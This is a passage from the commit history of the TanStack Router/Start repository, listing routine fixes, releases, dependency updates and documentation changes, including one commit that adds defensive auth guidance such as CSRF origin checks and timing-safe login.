Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
2026-05-07 03:19:26 +02:00
github-actions[bot]
1523612270 ci: changeset release 2026-05-06 23:03:16 +00:00
autofix-ci[bot]
90492109f1
ci: apply automated fixes 2026-05-06 22:49:36 +00:00
Copilot
c5811aacb5
fix: Bump jiti to 2.7.0 (#7355)
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
2026-05-07 00:48:14 +02:00
Manuel Schiller
a04d5e46a7
update bundlesize benchmark (#7356) 2026-05-07 00:46:13 +02:00
github-actions[bot]
ee96e25d14 ci: changeset release 2026-05-05 20:37:25 +00:00
Manuel Schiller
35e88f0499
fix: update deps (#7340) 2026-05-05 22:27:21 +02:00
Manuel Schiller
fdeb3f3e0c
fix: disable rsbuild server compression (#7348) 2026-05-05 22:11:46 +02:00
github-actions[bot]
bcefc84d7e ci: changeset release 2026-05-05 00:00:04 +00:00
Manuel Schiller
056337ef02
fix: fix plain TypeScript parser handling (#7342) 2026-05-05 01:57:21 +02:00
Manuel Schiller
ed3152af20
test: reproducer for #2547 (#7337) 2026-05-04 00:42:55 +02:00
Manuel Schiller
19f496bf6f
test: add reproducer for #2514 (#7336) 2026-05-04 00:35:10 +02:00
github-actions[bot]
15df770b56 ci: changeset release 2026-05-03 17:08:04 +00:00
Zelys
afa40ef46c
fix(start-server-core): fall back to GET handler for HEAD requests (RFC 9110 §9.3.2) (#7325)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-03 18:54:24 +02:00
Sarah Gerrard
9902eb4c61
remove old intent artifacts (#7333) 2026-05-03 18:34:20 +02:00
Tanner Linsley
3526194849
docs(skills): address 8 agent failure modes from user feedback (#7314)
* docs(skills): address 8 agent failure modes from external feedback

Adds new start-core/auth-server-primitives skill (sessions, cookies,
OAuth+PKCE, password-reset enumeration defense, CSRF, rate limiting,
session rotation) and updates 8 existing skills + matching docs to fix
patterns where agents produce insecure or wrong-framework output.

Skill changes:
- new: start-core/auth-server-primitives (server half of auth)
- router-core/auth-and-guards: route guard != RPC guard
- start-core/server-functions: wrong import path, RPC auth required,
  Cache-Control public is a cross-tenant leak, wrong-framework patterns
- start-core/middleware: wrong import path, sendContext shape vs access
  (3-layer wrong/still-wrong/correct), authMiddleware framing
- start-core/execution-model: file markers (server-only/client-only),
  module-level process.env is undefined under Worker SSR
- start-core/deployment: cloudflare env-at-request-time
- router-core/ssr: wrong file structures (next.js, react-router-dom)
- router-core/type-safety: wrong-framework imports + structures

Docs updated to mirror each skill change so source-of-truth and the
intent-indexed skill stay in sync. New authentication-server-primitives
guide is the long-form companion to the new skill.

intent validate: 30 skill files pass (was 29).

* ci: apply automated fixes

* docs(skills): address coderabbit review feedback

- Fix internal docs links to use correct relative paths instead of an
  absolute /start/latest/... URL and missing one ../ segment
- Remove blank line inside auth-and-guards blockquote (markdownlint MD028)
- Restore overload pattern in type-safety ValidateNavigateOptions and
  ValidateRedirectOptions examples; the casts I had introduced stripped
  generic context and contradicted the skill's own no-cast rule
- Add db.sessions.revokeAllForUser before create in login rotation
  snippets so the example matches the prose
- Soften useServerFn guidance: it's required only when the server
  function throws redirect/notFound; plain-data calls work directly and
  via useMutation/useQuery

* ci: apply automated fixes

* docs(skills): compress type-safety to stay under 500-line cap

Prettier's autofix expanded my single-line overload signatures across
multiple lines, pushing the file over the 500-line limit. Drop the
redundant fetchOrRedirect example (same pattern as useDelayedNavigate)
and describe ValidateRedirectOptions usage in prose instead.

* docs(skills): CSRF origin check should compare full origin, not host alone

Comparing only new URL(origin).host against APP_HOST silently accepts a
mismatched scheme — http://example.com would pass a check meant for
https://example.com. Compare the full origin (scheme + host + port)
against APP_ORIGIN instead. Same fix in skill and docs.

* docs(skills): make useDelayedNavigate callback truly return void

The callback returned the result of setTimeout (a timer handle), not
void as the public overload's return type implied. Wrap in a block so
the example matches the declared return type.

Skipped the related nitpick to add a separate redirect example — the
existing prose already describes the same overload pattern, and a
duplicate example would push the file close to the 500-line cap that
prettier autofix has been bumping us against.

* docs(skills): fix two real bugs in auth-server-primitives examples

1. Cookie parser truncated values containing '='. Signed cookies, JWTs,
   and base64-padded values all use '='. Use indexOf to split on the
   FIRST '=' only.

2. Login example short-circuited verifyPasswordHash on user-not-found,
   contradicting the prose's "same time, same error" claim — the
   no-user branch returned instantly while wrong-password spent ~100ms
   hashing, leaking account existence over the wire. Always verify
   against a hash; use a precomputed DUMMY_PASSWORD_HASH when the user
   is missing, then combine with the user-exists bit for the final ok.

Same fixes in the SKILL.md and the docs companion.

* docs(skills): address manuel's review on react-specific guides

- middleware.md, server-functions.md: drop cross-framework <framework>
  placeholders; this is the React-specific guide, just say
  @tanstack/react-start
- execution-model.md: drop the same trailing line about solid-start /
  vue-start paths
- hosting.md: remove the Cloudflare env-handling subsection — the
  general per-request rule lives in environment-variables.md and
  doesn't need to be repeated under a specific host
- environment-variables.md: mention the cloudflare:workers env binding
  as the canonical Cloudflare way to read env (including module scope),
  per Manuel's link to the Cloudflare docs
- deployment skill: same upgrade — show the cloudflare:workers env
  pattern alongside the per-request handler approach

* docs(skills): drop redundant server-only marker in session example

The file already imports from @tanstack/react-start/server, which is
on import protection's default client-deny specifier list. The
side-effect marker is redundant — drop it. Same fix in skill and docs.

* docs(skills): drop wrong-import-path mistakes — TS already catches them

Manuel pointed out that TypeScript catches both common wrong paths:
'@tanstack/react-router' has no exported member createServerFn /
createMiddleware, and '@tanstack/start' is "Cannot find module". Skill
space is precious; the items don't earn their slot if tsc handles them.

Removed:
- Common Mistake "Wrong import path" from server-functions and
  middleware skills (renumbered the remaining mistakes)
- The matching top-of-file CRITICAL line in both skills
- The "Import path" callouts in the middleware and server-functions
  docs

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-02 23:11:30 -06:00
github-actions[bot]
b470b48111 ci: changeset release 2026-05-02 23:50:32 +00:00
Manuel Schiller
709627f3db
feat: Link header (#7327)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-05-03 01:25:30 +02:00
github-actions[bot]
e0fb8ec460 ci: changeset release 2026-05-02 21:38:53 +00:00
Manuel Schiller
238ea4a499
feat: early hints (#7324) 2026-05-02 23:35:52 +02:00
dfedoryshchev
f08ef9db97
chore: fix duplicate "the" typo across router packages (#7323) 2026-05-02 16:38:17 +02:00
github-actions[bot]
1de2537bc1 ci: changeset release 2026-05-02 11:56:01 +00:00
Manuel Schiller
5eb6911a20
Revise bug report template for clarity and requirements
Updated the bug report template to clarify the requirements for a reproducer project and modified some labels and descriptions for better clarity.
2026-05-02 13:54:40 +02:00
Tom Smithhisler
51029a0df9
fix(deps): move fetchdts from devDependencies to dependencies (#7317) 2026-05-02 08:10:18 +02:00
Abhishek Raj
d2e8c2aba2
docs: Improve key differences b/w Start Server Functions and Next.js Server Actions (#7312) 2026-05-02 00:16:31 +02:00
github-actions[bot]
12c50ed332 ci: changeset release 2026-05-01 19:09:44 +00:00
Manuel Schiller
96818b8ba5
fix(router-plugin): isolate route metadata per plugin instance (#7313) 2026-05-01 21:03:21 +02:00
github-actions[bot]
8b9ea22b5b ci: changeset release 2026-05-01 12:56:49 +00:00
Manuel Schiller
ae453b7862
feat: rsc css (#7310)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-01 14:49:25 +02:00
github-actions[bot]
2c9f5c0e24 ci: changeset release 2026-05-01 00:07:18 +00:00
Manuel Schiller
4a1e63f1d1
fix: parse params union inference (#7306) 2026-05-01 02:04:12 +02:00
github-actions[bot]
e31f7aad49 ci: changeset release 2026-04-30 21:58:28 +00:00
Manuel Schiller
82b06132af
feat: strict: false for server functions (#7277)
* feat: `strict: false` for server functions

Add a `strict` option to `createServerFn` for type-level server function serialization checks

* feat: `strict: false` for server functions [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-30 23:52:08 +02:00
github-actions[bot]
cf5eb2f168 ci: changeset release 2026-04-30 20:46:43 +00:00
Manuel Schiller
c4256c2c85
fix: Ignore fully type-only imports and re-exports when collecting im… (#7305)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-04-30 22:37:53 +02:00
github-actions[bot]
77b7d1002d ci: changeset release 2026-04-30 20:03:22 +00:00
Franklin Shera
e8ef12b020
docs: remove redundant code example from query integration doc (#7298) 2026-04-30 21:50:39 +02:00
Dor Alagem
761fcc0c96
fix(start-plugin-core): sort server fn manifest entries for deterministic build output (#7287)
Co-authored-by: Dor Alagem <doralagem@MacBook-Pro-sl-Dor.local>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <meisterpink@gmail.com>
2026-04-30 21:46:30 +02:00
github-actions[bot]
dad0ec8f41 ci: changeset release 2026-04-30 17:51:48 +00:00
Manuel Schiller
c992495bf4
feat: match params (#7263) 2026-04-30 19:47:07 +02:00
Manuel Schiller
7fa0f39cab
fix: fix exports for react-start so useServerFn is available with RSC (#7292)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-29 22:22:15 +02:00
github-actions[bot]
a7300947bd ci: changeset release 2026-04-29 20:18:33 +00:00
Manuel Schiller
b5c4183ab8
fix: disabled topLevelVar (#7293)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-04-29 22:15:40 +02:00
github-actions[bot]
d406d1a450 ci: changeset release 2026-04-29 16:00:53 +00:00
Keven Arroyo
d6decca418
fix(react-start-rsc): re-export renderable types from public entries (#7278)
* fix(react-start-rsc): re-export renderable types from public entries

* changeset - patch
2026-04-28 20:58:05 +02:00
Birk Skyum
b0024d6310
Revert "fix(solid-router): enable route component HMR for Solid"
This reverts commit b86b061253.
2026-04-27 21:18:08 +02:00
Birk Skyum
8eb951bf7a
Revert "ci: apply automated fixes"
This reverts commit 7122f28bab.
2026-04-27 21:18:03 +02:00
autofix-ci[bot]
7122f28bab
ci: apply automated fixes 2026-04-27 18:50:03 +00:00
Birk Skyum
b86b061253
fix(solid-router): enable route component HMR for Solid 2026-04-27 20:47:27 +02:00
github-actions[bot]
1285422916 ci: changeset release 2026-04-27 07:57:51 +00:00
Flo
493148bc53
fix(router-core): wildcard nodes respect DFS priority like other nodes in route matching (#7273) 2026-04-27 09:55:20 +02:00
github-actions[bot]
de980342a6 ci: changeset release 2026-04-26 02:58:14 +00:00
Pavan Shinde
b515cbe1fe
docs(router): fix typo in doc (#7268) 2026-04-26 04:45:16 +02:00
Copilot
944b155896
fix(solid-router): hydration mismatch for ssr='data-only' with pendingComponent (#7266) 2026-04-26 04:43:09 +02:00
github-actions[bot]
65874cd48a ci: changeset release 2026-04-26 02:13:53 +00:00
Birk Skyum
aebf426476
fix(solid-start): bundle solid-query packages during SSR to fix duplicate QueryClientContext (#6151) (#7267) 2026-04-26 04:07:56 +02:00
github-actions[bot]
e085a0a6bd ci: changeset release 2026-04-25 23:03:39 +00:00
Brenley Dueck
e054474cd1
fix: streaming when using Await component (#7264) 2026-04-26 01:00:37 +02:00
Brenley Dueck
41e37f8a9c
fix: use loader data goes undefined (#7265) 2026-04-25 23:36:25 +02:00
github-actions[bot]
2231d53f09 ci: changeset release 2026-04-25 20:39:25 +00:00
Dominik Dorfmeister 🔮
b12f57bbb4
feat(query): add support for custom dehydrate and hydrate options in SSR integration (#7246)
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-04-25 22:17:12 +02:00
Abhishek Raj
66dbff6587
docs: Fix server function middleware prop (#7262) 2026-04-25 22:15:20 +02:00
github-actions[bot]
97207a13a6 ci: changeset release 2026-04-25 17:43:08 +00:00
Manuel Schiller
a2ad394598
replace tsx by jiti (#7261)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-25 19:30:52 +02:00
Brenley Dueck
b732c8ac26
fix: server middleware type in solid-router (#7260) 2026-04-25 19:23:05 +02:00
Brenley Dueck
d20c878135
fix: issue 7240 causing fouc (#7250) 2026-04-25 18:25:42 +02:00
github-actions[bot]
387479d442 ci: changeset release 2026-04-25 02:09:31 +00:00
Sean Cassiere
8b97002af3
refactor(router-plugin): upgrade unplugin to v3 (#7258)
* refactor(router-plugin): upgrade unplugin to `v3`

* refactor(start-client-core): use a more explicit typing to `CustomFetch` type

* chore(examples): runtime enforce for needing the `VITE_CONVEX_URL`
2026-04-25 14:07:00 +12:00
Manuel Schiller
8adbe7415d
add new bundlesize measurements for rsbuild (#7256)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-25 03:33:45 +02:00
Sean Cassiere
c36bdcccb7
chore(examples): checkin git outdated route-tree files for react and solid examples (#7257) 2026-04-25 11:58:43 +12:00
github-actions[bot]
99c672d27d ci: changeset release 2026-04-24 23:50:09 +00:00
Manuel Schiller
1e371b60f1
fix: do not import 'react-refresh/runtime' (#7255)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-25 01:45:22 +02:00
github-actions[bot]
4c161c53a8 ci: changeset release 2026-04-24 23:23:49 +00:00
Manuel Schiller
4d864eebbd
inline css (#7253) 2026-04-25 01:20:36 +02:00
Sarah Gerrard
f3cd5653ad
fix actions again? (#7252) 2026-04-24 23:58:00 +02:00
neverland
a5385dbd90
chore(deps): update Rsbuild related deps to v2.0.1 (#7245) 2026-04-24 22:41:31 +02:00
github-actions[bot]
e444228d68 ci: changeset release 2026-04-24 20:33:35 +00:00
Manuel Schiller
9252206e5a
fix: asset sorting (#7251) 2026-04-24 22:29:13 +02:00
Sarah Gerrard
bd01585d3f
update intent workflow (#7244) 2026-04-24 22:28:51 +02:00
github-actions[bot]
03ac20e42e ci: changeset release 2026-04-24 18:38:14 +00:00
Manuel Schiller
dda463c8b5
fix: Split Start plugin core (#7249) 2026-04-24 20:33:33 +02:00
github-actions[bot]
1248e44a1b ci: changeset release 2026-04-24 01:28:38 +00:00
Manuel Schiller
91a708989d
rsbuild plugin (#7228)
Co-authored-by: neverland <chenjiahan.jait@bytedance.com>
Co-authored-by: Keven Arroyo <dake.3601@gmail.com>
2026-04-24 03:26:03 +02:00
Sarah Gerrard
ea78f99646
update intent workflow (#7243) 2026-04-24 01:44:46 +02:00
Mukunda Rao Katta
3a59b7203a
docs(start): add missing space after comma in 'Handling requests with a body' (#7234) 2026-04-21 21:36:46 +02:00
Nicolas Beaussart
cbf9ecfc69
fix(nx): align playwright mode build target naming (#7223) 2026-04-18 23:41:37 +02:00
Nicolas Beaussart
fc3b766ea9
test(e2e-rsc): migrate to playwrightModes and dynamic inferred dist (#7222) 2026-04-18 23:22:12 +02:00
Nicolas Beaussart
24b11a9189
feat(nx): support rsbuild in Playwright inference (#7221) 2026-04-18 23:05:44 +02:00
Nicolas Beaussart
bd97d092ef
chore: unify react-start basic e2e mode projects (#7206) 2026-04-18 22:52:56 +02:00
Manuel Schiller
5edd7e532a
stabilize test (#7220) 2026-04-18 22:38:55 +02:00
github-actions[bot]
4d66d42aaf ci: changeset release 2026-04-18 20:08:10 +00:00
mixelburg
cd91ceebb8
fix(react-router): prevent webpack static analysis of React.use with let binding (#7182) 2026-04-18 21:55:58 +02:00
Manuel Schiller
c19571fd5d
stabilize rsc tests (#7217) 2026-04-17 21:20:16 +02:00
Flo
b57e898e67
chore(deps): vitest 4.1.4 (#7212) 2026-04-17 21:19:38 +02:00
Pavan Shinde
e2332b0c08
docs(start): fix authenticated routes doc URL (#7214) 2026-04-17 19:39:32 +02:00
github-actions[bot]
3485a88047 ci: changeset release 2026-04-16 21:54:11 +00:00
Birk Skyum
22dc152033
fix(solid-router): use keyed Show in Outlet to fix child route rendering with useQuery (#7204) 2026-04-16 23:51:45 +02:00
Birk Skyum
3d4b15b4ea
chore: bump query override to 5.99.0 (#7203) 2026-04-16 21:22:12 +02:00
Birk Skyum
cd5572dc37
chore: bump solid-js override 1.9.12 (#7202) 2026-04-16 20:48:21 +02:00
github-actions[bot]
0166fe8ba0 ci: changeset release 2026-04-15 02:31:09 +00:00
Manuel Schiller
f7f00250f3
fix(start): include Vite style.css when cssCodeSplit is disabled (#7191)
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2026-04-15 04:23:56 +02:00
Manuel Schiller
4b8df29336
chore: stabilize test (#7192) 2026-04-15 04:00:32 +02:00
github-actions[bot]
6d00881b7a ci: changeset release 2026-04-15 00:22:41 +00:00
Manuel Schiller
e30814d949
fix react-router shared route css persistence on nav (#7186)
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2026-04-15 02:19:51 +02:00
Nicolas Beaussart
df611998cb
chore: add sharding for playwright tests (#7187)
* add sharding

* fix dependnancy

* fix playwright shard port reuse

* full bust

* throw more runners into this run

* try to throw money at it and see the effect

* tune
2026-04-14 13:17:12 +02:00
Coding Cossack
8caa20223e
Add a React Start server-components skill (#7181)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-04-14 01:33:37 +02:00
github-actions[bot]
26680c95a9 ci: changeset release 2026-04-13 23:30:55 +00:00
Manuel Schiller
16f6892d6b
fix(router-core): avoid intermediate success state for async notFound (#7184) 2026-04-14 01:16:42 +02:00
github-actions[bot]
73cd5699ac ci: changeset release 2026-04-13 23:09:50 +00:00
Manuel Schiller
c3d525924d
chore: stabilize tests (#7185) 2026-04-14 01:07:14 +02:00
Manuel Schiller
c5ad32936f
fix react server exports for start and react-router (#7183)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-14 00:48:18 +02:00
MoonBrillante
f1a4973d41
fix(docs): correct server function name in example (#7173) 2026-04-13 23:29:07 +02:00
github-actions[bot]
e82dded043 ci: changeset release 2026-04-13 21:11:37 +00:00
Manuel Schiller
7324b98d11
fix: add react-server server export for react-start (#7180) 2026-04-13 23:01:35 +02:00
github-actions[bot]
c09aab6661 ci: changeset release 2026-04-13 20:40:49 +00:00
Manuel Schiller
a581680a27
fix: unify virtual module handling for Start Vite plugins (#7178)
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: CodeRabbit <noreply@coderabbit.ai>
Co-authored-by: schiller-manuel <schiller-manuel@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-13 22:35:58 +02:00
github-actions[bot]
c373feb22b ci: changeset release 2026-04-13 19:23:21 +00:00
Manuel Schiller
328d7e5ebc
fix(router-generator): normalize virtual physical subtree paths (#7169)
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-04-13 21:10:40 +02:00
github-actions[bot]
c857087286 ci: changeset release 2026-04-13 02:12:36 +00:00
Birk Skyum
96ac2d8ed3
fix(router-plugin): update vite-plugin-solid peer dependency to support version 3.0.0-0 (#7170) 2026-04-13 04:09:58 +02:00
github-actions[bot]
85db3785cc ci: changeset release 2026-04-13 00:27:19 +00:00
Manuel Schiller
8e7f4c81cc
fix docs (#7168) 2026-04-13 02:21:07 +02:00
Manuel Schiller
105d05691a
fix(router-generator): harden route file transform rewrites (#7167) 2026-04-13 02:20:50 +02:00
Ulrich Stark
5b8480d251
chore(start-server-core): remove unnecessary any in getRequestHeaders (#7164) 2026-04-12 23:05:11 +02:00
github-actions[bot]
2cda5385dd ci: changeset release 2026-04-12 00:34:50 +00:00
Manuel Schiller
656a2a040e
chore: add vite 8 to peer deps (#7160)
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-04-12 02:29:41 +02:00
Manuel Schiller
55201ad69d
chore: stabilize tests (#7159) 2026-04-12 01:45:28 +02:00
github-actions[bot]
c3900c8328 ci: changeset release 2026-04-11 21:35:22 +00:00
Birk Skyum
0e2c9003c1
chore: bump to h3 v2 rc.20 (#7140) 2026-04-11 23:32:39 +02:00
Mohamed Khaled
9797eac29d
docs: fix file extension syntax for prefix/suffix routing examples (#7149)
docs: fix file-based routing examples with literal dots
2026-04-11 22:10:05 +02:00
github-actions[bot]
3ef971fa78 ci: changeset release 2026-04-11 18:18:04 +00:00
Manuel Schiller
812792fbda
fix: reduce start SSR manifest asset duplication (#7157)
Co-authored-by: schiller-manuel <schiller-manuel@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-11 20:15:35 +02:00
github-actions[bot]
5cec6fbdaf ci: changeset release 2026-04-11 17:45:56 +00:00
Brenley Dueck
8ec9ca97b4
fix(router-core): avoid false notFound matches for proxied loader data (#7156)
* fix(router-core): avoid false notFound matches for proxied loader data

* test(react-start): cover proxied loader data notFound regression

* test(react-start): move notFound regression to rsc direct loader

* chore: add changeset
2026-04-11 19:34:02 +02:00
github-actions[bot]
bdbb331bbf ci: changeset release 2026-04-11 14:45:08 +00:00
Manuel Schiller
d3f20fbe7a
fix(start-plugin-core): reuse deduped server function ids across compilers (#7153) 2026-04-11 16:37:33 +02:00
James Howard
b0597664e3
chore(types): re-export SearchMiddleware type from react-router (#7087) 2026-04-11 16:07:09 +02:00
github-actions[bot]
c066031576 ci: changeset release 2026-04-11 11:24:38 +00:00
Flo
6355bb75f7
refactor: shorten internal router store names (#7152) 2026-04-11 13:21:43 +02:00
github-actions[bot]
27890afc1b ci: changeset release 2026-04-11 10:45:13 +00:00
Flo
459057cd2d
refactor: switch router stores to atom get/set API (#7150) 2026-04-11 12:41:57 +02:00
github-actions[bot]
d11977f16b ci: changeset release 2026-04-11 07:54:21 +00:00
autofix-ci[bot]
6a9208de56
ci: apply automated fixes 2026-04-11 07:34:28 +00:00
Manuel Schiller
f8ac427000 fix 2026-04-11 09:32:54 +02:00
github-actions[bot]
4c09f5d1d3 ci: changeset release 2026-04-11 07:25:23 +00:00
Manuel Schiller
2d53c056ef fix publishing 2026-04-11 09:13:59 +02:00
github-actions[bot]
13ec8a305b ci: changeset release 2026-04-11 01:21:49 +00:00
Tanner Linsley
e61c49ce31 chore: sync published start package versions 2026-04-10 19:20:20 -06:00
github-actions[bot]
61d767049e ci: changeset release 2026-04-11 00:40:32 +00:00
Tanner Linsley
3384abcffd fix: republish react-start-rsc dependency chain 2026-04-10 18:27:16 -06:00
github-actions[bot]
076045bdf8 ci: changeset release 2026-04-10 23:45:28 +00:00
Manuel Schiller
f920527e8d
efp (#7144)
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
2026-04-11 01:43:05 +02:00
github-actions[bot]
06f7f8de5f ci: changeset release 2026-04-10 20:48:13 +00:00
Manuel Schiller
70ec1da1ed
fix(react-router): clear stale route errors on navigation (#7136)
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-04-10 22:37:04 +02:00
Manuel Schiller
540d22100d
fix: MatchRoute types (#7139)
Co-authored-by: schiller-manuel <schiller-manuel@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-10 21:35:42 +02:00
github-actions[bot]
edb24b43f5 ci: changeset release 2026-04-10 19:33:09 +00:00
Manuel Schiller
240b48257f
chore: stabilize test (#7142) 2026-04-10 21:29:49 +02:00
Manuel Schiller
b29d64de0c
fix(router): handle redirected lazy pending matches (#7137)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-04-10 21:17:37 +02:00
github-actions[bot]
52fb98e1e8 ci: changeset release 2026-04-10 18:28:48 +00:00
Manuel Schiller
4b9ed6c5cb
fix: don't leak internal props in Link (#7138) 2026-04-10 20:18:20 +02:00
github-actions[bot]
1d31393e3f ci: changeset release 2026-04-10 17:59:55 +00:00
Tanner Linsley
f7e9c5e323
fix: preserve request context precedence for server functions (#7135) 2026-04-10 19:51:47 +02:00
Tanner Linsley
24cc08f87e docs(start): merge quick start into getting started
Put Start project setup in a single onboarding path for React and Solid while preserving old quick-start URLs with redirects.
2026-04-09 16:13:07 -06:00
Tanner Linsley
c3915a16d2 Merge branch 'main' of https://github.com/tanstack/router 2026-04-09 11:15:21 -06:00
Adam Rackis
6ad41eaf64
Docs tweaks for pre-rendering (#6612)
docs tweaks
2026-04-09 11:13:40 -06:00
Pavan Shinde
e15be4fa0f
docs(examples): fix malformed code fences in solid firebase README (#7126) 2026-04-09 15:20:24 +12:00
github-actions[bot]
5a81726f0a ci: changeset release 2026-03-30 23:18:20 +00:00
Manuel Schiller
796406da66
fix: preserve render-thrown notFound errors (#7077) 2026-03-31 01:09:27 +02:00
github-actions[bot]
d117417908 ci: changeset release 2026-03-30 21:50:31 +00:00
Manuel Schiller
2d1ec865a4
fix(router-core): stop preload after beforeLoad errors (#7075) 2026-03-30 23:47:59 +02:00
github-actions[bot]
4756d760ca ci: changeset release 2026-03-30 16:11:20 +00:00
Manuel Schiller
f8351a8d7a
fix: initialize import.meta.hot.data before storing stable split componts (#7074)
* fix: initialize import.meta.hot.data before storing stable split components

fixes #7073

* fix: initialize import.meta.hot.data before storing stable split components

fixes #7073 [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-03-30 18:08:52 +02:00
Nico Lynzaad
30835cb8e9
fix(router-core): align calculation of publicHref in parseLocation and buildLocation (#7069)
* align publicHref

* add tests

* ci: apply automated fixes

* revert changes

* revert changes

* ci: apply automated fixes [Self-Healing CI Rerun]

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-03-30 00:57:24 +02:00
Nicolas Beaussart
7b9faaeee0
test: cover lazy errorComponent behavior across frameworks (#7068) 2026-03-29 18:08:38 +02:00
github-actions[bot]
9368c5f3bf ci: changeset release 2026-03-28 18:42:14 +00:00
Manuel Schiller
6ee0e795b0
fix: preserve scroll position after SSR hash hydration (#7066) 2026-03-28 19:38:33 +01:00
Nicolas Beaussart
a556afa0f0
test: share React Start basic mode e2e suite (#7060)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-03-28 11:30:05 +01:00
github-actions[bot]
21bd992420 ci: changeset release 2026-03-27 00:26:42 +00:00
Manuel Schiller
42c3f3b3a3
fix: scroll restoration upon browser forward navigation (#7055) 2026-03-27 01:24:06 +01:00
github-actions[bot]
5c5a4359e8 ci: changeset release 2026-03-26 23:57:29 +00:00
Manuel Schiller
5ca661c2f8
fix: dont use script tag for OnRendered (#7054)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-03-27 00:54:57 +01:00
github-actions[bot]
0e0a2817c3 ci: changeset release 2026-03-26 19:40:04 +00:00
Manuel Schiller
70b2225137
fix: Fix file-based route generation when custom routeToken or `ind… (#7048)
fix: Fix file-based route generation when custom `routeToken` or `indexToken` values start with regex metacharacters like `+`.

fixes #7036
2026-03-26 20:36:30 +01:00
육기준
a1ab264634
fix: unexported ShouldBlockFnLocation interface causes TS4023 (#7037)
Co-authored-by: yook-gijun <gijun@dreamend.com>
2026-03-26 18:06:49 +01:00
github-actions[bot]
e1b019ccb8 ci: changeset release 2026-03-26 17:03:34 +00:00
Manuel Schiller
cf5f554247
fix: scroll restorating without throttling (#7042) 2026-03-26 18:00:55 +01:00
github-actions[bot]
87a5160398 ci: changeset release 2026-03-25 21:49:57 +00:00
Dusty Greif
5016e4e4c7
fix: add tsconfig.server-entry.json to fix missing declaration files … (#7035)
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: dgreif <3026298+dgreif@users.noreply.github.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2026-03-25 22:37:24 +01:00
github-actions[bot]
749e88b68e ci: changeset release 2026-03-25 18:24:36 +00:00
Flo
71a8b684c8
chore: update TanStack Store to 0.9.3 (#7041) 2026-03-25 19:21:58 +01:00
github-actions[bot]
77ad7925d4 ci: changeset release 2026-03-24 23:12:08 +00:00
Manuel Schiller
ed9c43df7a
fix: dedupe repeated css assets in the start manifest (#7030) 2026-03-25 00:00:49 +01:00
Flo
7640f6e3f5
refactor(router): remove global file route helpers (#7026) 2026-03-24 23:55:17 +01:00
Anton Ödman
1f41bc531d
docs: update migrate from next docs to working example (#7025)
